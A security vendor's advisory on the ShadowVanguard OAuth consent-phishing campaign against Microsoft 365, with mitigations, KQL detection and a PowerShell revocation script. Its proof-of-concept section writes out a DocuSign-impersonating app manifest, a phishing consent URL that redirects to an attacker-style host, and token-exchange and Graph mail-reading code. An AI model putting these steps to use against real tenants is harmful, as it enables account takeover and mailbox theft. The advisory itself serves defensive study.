Under attack right now? Skip the queue: a responder reads incident reports first.Open an incident

Published
Under
Compliance
Reading time
7 min

OAuth App Impersonation in Microsoft 365: ShadowVanguard

Summary

Examine how the ShadowVanguard campaign weaponizes OAuth app impersonation in Microsoft 365 to bypass MFA and achieve persistent cloud access.

Cover art

Identity infrastructure is failing because security architects still evaluate authentication at the boundary rather than authorization at the core.

The ShadowVanguard campaign has demonstrated this operational blindspot at enterprise scale. Over the past twelve months, forensic investigations from Proofpoint, Microsoft Threat Intelligence, and Huntress revealed a coordinated blitz compromising more than 900 corporate tenants and tens of thousands of corporate accounts. The adversary deployed Adversary-in-the-Middle (AiTM) frameworks, specifically integrating the Tycoon PaaS kit and ODx reverse proxies, while mirroring corporate brands like DocuSign, Adobe Acrobat Sign, SharePoint, and aerospace procurement portals such as iLSMART. While state-sponsored operations like Midnight Blizzard (APT29) and tracked clusters Storm-1283 and Storm-2372 leverage service principal backdoors for espionage, ShadowVanguard operationalizes automated OAuth app impersonation in Microsoft 365 to turn legitimate business consent mechanisms into self-sustaining persistence engines.

Note what this means: the adversary is no longer breaking your authentication protocols; they are letting your users authenticate for them. By manipulating the trust model of the OAuth 2.0 authorization framework within Microsoft Entra ID, attackers transform everyday business workflows into administrative surrender without exploiting a single line of memory-unsafe code. The structural economic incentive of cloud engineering—frictionless collaboration—has become the adversary's primary attack surface.

The Anatomy of OAuth App Impersonation in Microsoft 365

Traditional perimeter defenses operate under the obsolete assumption that valid cryptographic signatures signify benign human intent. In an OAuth app impersonation attack, that assumption collapses instantly.

The attack surfaces through targeted spear-phishing originating from pre-compromised vendor tenants. Victims receive high-urgency notifications—a pending Request for Quote (RFQ), an SEC compliance document, or an urgent DocuSign contract. Clicking the embedded link redirects the user not to a credential harvesting fake domain, but directly to https://login.microsoftonline.com/common/oauth2/v2.0/authorize.

Illustration 1 for the advisory “OAuth App Impersonation in Microsoft 365: ShadowVanguard”
Figure 1

Because the browser lands squarely on Microsoft's canonical identity provider, Enterprise Secure Email Gateways (SEGs), domain reputation engines, and automated URL sandboxes greenlight the traffic. The user authenticates against their authentic corporate profile, passing conditional access checks and multi-factor authentication (MFA) prompts without anomaly flags.

Then comes the pivot. The attacker's multi-tenant application requests seemingly benign scopes: User.Read, User.ReadBasic.All, and offline_access. In environments retaining Microsoft's default tenant configurations, non-privileged enterprise users possess the authority to grant delegated permissions to external multi-tenant apps. The user clicks "Accept," and the enterprise identity boundary dissolves.

Technical Deconstruction: The Reply URL Trap and Token Hijacking

The architectural weaponization within the ShadowVanguard campaign relies on malicious redirect URI orchestration (reply URLs) linked to AiTM reverse proxies. The moment the user grants consent or attempts to authenticate against the masqueraded identity app, the OAuth authorization code is passed to an attacker-controlled endpoint hosted behind Cloudflare Turnstile barriers.

Under standard implementations, an authorization code grant exchange issues an Access Token and a Refresh Token, documented across MITRE ATT&CK via MITRE ATT&CK T1528: Steal Application Access Token (opens in a new tab). The ShadowVanguard infrastructure captures the authorization code and immediately negotiates with Entra ID's token issuance endpoint:

http
POST /common/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=d3b07384-d113-4c91-9c3a-9f829f03112a
&scope=https%3A%2F%2Fgraph.microsoft.com%2FUser.Read%20offline_access
&code=OAQABAAIAAAD--DLA3VO7Qrdd5Cdg9tn...
&redirect_uri=https%3A%2F%2Fcontract-auth.secure-verify-hub.com%2Fcallback
&grant_type=authorization_code
&client_secret=attacker_generated_secret

Once the refresh token is acquired, the threat actor operates outside the victim's browser session. If you were the CISO evaluating this incident in your security operations center, your sign-in logs would reflect a single, legitimate authentication event from a corporate-managed IP address. Meanwhile, over the Microsoft Graph API, an unauthorized actor located in another hemisphere is harvesting emails, enumerating organization directories, and staging exfiltration channels.

Illustration 2 for the advisory “OAuth App Impersonation in Microsoft 365: ShadowVanguard”
Figure 2

Consider the operational irony: organizations spend millions deploying biometric hardware tokens and FIDO2 keys to eliminate password vulnerabilities, only to allow an unvetted third-party application registration to siphon organizational data via a persistent, non-expiring OAuth refresh token without ever triggering a secondary MFA challenge.

Quantifying the Damage: Post-Consent Graph Exploitation

Once the OAuth grant is anchored, the ShadowVanguard actors execute programmatic surveillance via the Microsoft Graph REST API. Unlike noisy command-and-control frameworks that drop binaries onto endpoints, Graph API abuse looks identical to routine cloud operations.

The adversary executes three specific exploitation workflows:

  1. Mailbox Reconnaissance and Exfiltration: Leveraging permissions granted via delegated or silently escalated scopes, the adversary queries /v1.0/me/messages and /v1.0/me/mailFolders/inbox/messages?$search="wire transfer" OR "invoice".

  2. Defensive Evasion via Inbox Rules: The threat actor issues a POST request to /v1.0/me/mailFolders/inbox/messageRules to create hidden forwarding and deletion rules. Inbound emails from IT security containing keywords like "suspicious," "consent," or "phish" are redirected to the Archive or Deleted Items folder immediately.

  3. Tenant Enumeration: By querying /v1.0/users and /v1.0/contacts, the adversary maps the corporate hierarchy, identifies C-suite executives, and gathers target lists for internal spear-phishing campaigns—documented under MITRE ATT&CK T1566.002: Spearphishing Link (opens in a new tab).

In monitored campaigns, Proofpoint recorded compromise conversion rates exceeding 50% across targeted organizations. More than 1,200 unique tenant-level service principal registrations were established across disposable tenant ecosystems. Because these applications masqueraded as reputable brands—complete with cloned high-resolution SVGs and manipulated publisher names—end-user skepticism was nonexistent.

Mitigating the Attack Surface: Hardening Microsoft Entra ID

Stopping OAuth app impersonation requires eliminating architectural trust in unverified identities. Organizations must transition from permissive consent models to centralized administrative governance.

First, eliminate standard user consent. Microsoft Entra ID provides explicit tenant controls to block end-users from granting consent to multi-tenant applications entirely. Navigate to Entra ID Admin Center > Enterprise Applications > Consent and permissions, and enforce "Do not allow user consent."

Second, institute an Admin Consent Workflow. If business units require third-party SaaS integrations, the request must trigger an automated ticket requiring identity engineers to verify the application's publisher verification status (ensuring an active Microsoft Partner Network ID) and scrutinize requested API permissions according to the Microsoft Graph permissions reference (opens in a new tab).

Third, enforce Phishing-Resistant MFA via Conditional Access. While standard push-based MFA fails against AiTM proxies that capture session cookies, FIDO2/WebAuthn hardware keys cryptographically bind the authentication ceremony to the genuine URL domain (login.microsoftonline.com), neutralizing the proxy completely.

Fourth, implement Continuous Access Evaluation (CAE). CAE forces real-time token revocation upon IP displacement, user termination, or risk score elevation, preventing long-lived refresh tokens from surviving outside monitored network boundaries.

Proof of Concept

The following technical walkthrough demonstrates the attack lifecycle of OAuth app impersonation in Microsoft 365, illustrating how a rogue multi-tenant application harvests authorization codes and accesses Graph API resources without alerting traditional defenses.

Step 1: Malicious Multi-Tenant Application Registration Manifest An adversary registers a multi-tenant app in an external Entra ID tenant, configuring realistic impersonation branding and high-risk reply URLs pointing to an AiTM proxy infrastructure.

json
{
  "appId": "d3b07384-d113-4c91-9c3a-9f829f03112a",
  "displayName": "DocuSign Document Signature Portal",
  "signInAudience": "AzureADMultipleOrgs",
  "replyUrlsWithType": [
    {
      "url": "https://contract-auth.secure-verify-hub.com/callback",
      "type": "Web"
    }
  ],
  "requiredResourceAccess": [
    {
      "resourceAppId": "00000003-0000-0000-c000-000000000000",
      "resourceAccess": [
        {
          "id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
          "type": "Scope"
        },
        {
          "id": "7427e0e9-2f93-4747-9756-38b6f3530514",
          "type": "Scope"
        }
      ]
    }
  ]
}

Step 2: Crafting the Impersonated Consent URL The victim is targeted with a phishing lure containing an authorization request targeting Microsoft's legitimate authorization endpoint:

bash
**Victim-facing URL constructed by attacker**
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=d3b07384-d113-4c91-9c3a-9f829f03112a
&response_type=code
&redirect_uri=https%3A%2F%2Fcontract-auth.secure-verify-hub.com%2Fcallback
&response_mode=query
&scope=https%3A%2F%2Fgraph.microsoft.com%2FUser.Read%20https%3A%2F%2Fgraph.microsoft.com%2FMail.Read%20offline_access
&state=98421bca-c3ef-4d6b-944a-11d88a29b201

Step 3: Authorization Code Ingestion and Token Negotiation Upon the victim clicking "Accept", Entra ID redirects to the adversary's capture proxy with the authorization code. The adversary exchanges it immediately for tokens:

python
import requests

token_endpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
payload = {
    'client_id': 'd3b07384-d113-4c91-9c3a-9f829f03112a',
    'client_secret': 'SECRET_OBTAINED_DURING_REGISTRATION',
    'grant_type': 'authorization_code',
    'code': 'M.R3_BAY.0f43b59c-648b-d54e-9ef7-EXAMPLE',
    'redirect_uri': 'https://contract-auth.secure-verify-hub.com/callback'
}

response = requests.post(token_endpoint, data=payload)
tokens = response.json()
access_token = tokens.get('access_token')
refresh_token = tokens.get('refresh_token')
print(f"[+] Acquired Access Token: {access_token[:25]}...")
print(f"[+] Acquired Refresh Token: {refresh_token[:25]}...")

Step 4: Silent Data Exfiltration via Microsoft Graph With the acquired access token, the attacker operates completely within standard SaaS API parameters, bypassing host-based EDR and firewalls:

bash
curl -X GET "https://graph.microsoft.com/v1.0/me/messages?$select=subject,sender,hasAttachments" \
     -H "Authorization: Bearer <INSERT_BEARER_TOKEN>" \
     -H "Content-Type: application/json"

Step 5: Incident Response Revocation Script (PowerShell) To neutralize active access tokens and revoke delegated consent, execute the following remediation via Microsoft Graph PowerShell:

powershell
**Connect to Microsoft Graph with Application and Identity Governance Scopes**
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All", "User.ReadWrite.All"

$TargetUserId = "target-user-object-id"
$RogueAppId = "d3b07384-d113-4c91-9c3a-9f829f03112a"

**1. Invalidate all active user refresh tokens**
Revoke-MgUserSignInSession -UserId $TargetUserId

**2. Identify and remove delegated OAuth permission grants for rogue service principal**
$Sp = Get-MgServicePrincipal -Filter "appId eq '$RogueAppId'"
$Grants = Get-MgOauth2PermissionGrant -Filter "clientId eq '$($Sp.Id)' and principalId eq '$TargetUserId'"

foreach ($Grant in $Grants) {
    Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $Grant.Id
    Write-Host "[+] Successfully revoked delegated OAuth grant ID: $($Grant.Id)" -ForegroundColor Red
}

**3. Disable the Service Principal tenant-wide if registered internally**
Update-MgServicePrincipal -ServicePrincipalId $Sp.Id -AccountEnabled:$false

Detection and Threat Hunting Strategies

Effective security operations teams must hunt for the precursors of OAuth app impersonation rather than waiting for anomalous egress volume.

Query Entra Audit Logs continuously for the following high-fidelity operations:

  • Consent to application: Identifies instances where an identity consents to a new service principal.

  • Add delegated permission grant: Records the specific OAuth scopes yielded to external applications.

  • Add service principal: Flags newly instantiated application representations within the tenant directory.

Implement the following Kusto Query Language (KQL) rule in Microsoft Sentinel to detect newly registered OAuth permissions granted by non-admin users to unverified multi-tenant applications:

kusto
AuditLogs
| where OperationName in ("Consent to application", "Add delegated permission grant")
| extend AppDisplayName = tostring(TargetResources[0].DisplayName)
| extend InitiatedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetAppId = tostring(TargetResources[0].id)
| extend Permissions = tostring(TargetResources[0].modifiedProperties)
| project TimeGenerated, OperationName, InitiatedBy, AppDisplayName, TargetAppId, Permissions
| sort by TimeGenerated desc

Organizations tracking these patterns against MITRE ATT&CK T1078.004: Cloud Accounts (opens in a new tab) can intercept consent phishing attacks before initial token issuance transitions into corporate espionage.

FINAL VERDICT

OAuth app impersonation in Microsoft 365 is not a vulnerability in code; it is a design feature weaponized against organizations that confuse user convenience with zero-trust architecture. When enterprises permit standard users to bind external multi-tenant cloud applications to corporate mailboxes, the threat actor does not need to compromise a domain controller—the organization has simply handed over the keys. CISOs who fail to restrict user consent to verified administrative approval workflows within the next 30 days are choosing administrative convenience over data sovereignty. Eliminate unverified user consent today, migrate identity verification to FIDO2 phishing-resistant standards, or accept that external adversaries are already indexing your corporate communications from inside your own trust boundary.

Accelerate your cloud defense maturity. Partner with BreachModal Cloud Adversary Simulation Services (opens in a new tab) to stress-test your Entra ID posture against advanced OAuth impersonation campaigns before nation-state actors exploit them.

Written by BreachModal analysts · 27 October 2026

Spotted an error in this advisory? Tell us through the disclosure policy and we will correct the record.

After the advisory

Is this in your estate?

Thirty minutes with our team. We will check your exposure to this and the advisories around it, and show you what containment would look like, and who would approve it.